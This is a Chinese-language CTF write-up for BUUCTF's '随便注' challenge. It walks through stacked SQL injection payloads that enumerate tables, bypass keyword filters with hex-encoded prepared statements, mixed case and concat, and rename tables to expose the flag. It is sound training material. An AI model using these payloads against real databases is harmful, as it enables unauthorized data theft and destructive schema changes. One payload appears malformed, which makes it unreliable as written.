BUUCTF 随便注

知识点:

##堆叠注入

#预语句注入

 

https://www.cnblogs.com/0nth3way/articles/7128189.html#autoid-1-0-0

正则过滤了很多关键字导致无法进行常规的注入,试了很久康wp才知道是堆叠注入

1';show tables;#

得到表名

BUUCTF 随便注_第1张图片

 

 

1';show columns from words;

words的列 有id 和 data

1';show columns from `1919810931114514`#

有flag

flag再 第二张表中

正则过滤了很多关键字,这里采用两种方法绕

一:预语句 // 简单来说就是先设定好这个语句然后直接调用并执行就行了 

BUUCTF 随便注_第2张图片

 

 用16进制绕过select

BUUCTF 随便注_第3张图片

 

 但是发现set 和prepare被strstr()函数过滤 ,但是这个函数对大小写敏感直接尝试大小写绕过

payload:

1';sEt @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare esql from @a;execute esql;

第二种payload,这里不用16进制绕过,用concat绕过:

1';sEt @a=concat('se','lect * from `1919810931114514`);Prepare esql from @a;execute esql;#

二:改变表的结构

分析

总共有两张表,一张是words 带有两列 ,另一张是带有flag的表,而正常的回显肯定是从words的表里查询数据的,那么猜测后台的语句可能如此

select id,data from words

现在只要 把words其他的,然后把带flag的表改成words并把列名flag改为id就好了

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

之后再 1' or 1=1# 就可以拿到flag

你可能感兴趣的:(BUUCTF 随便注)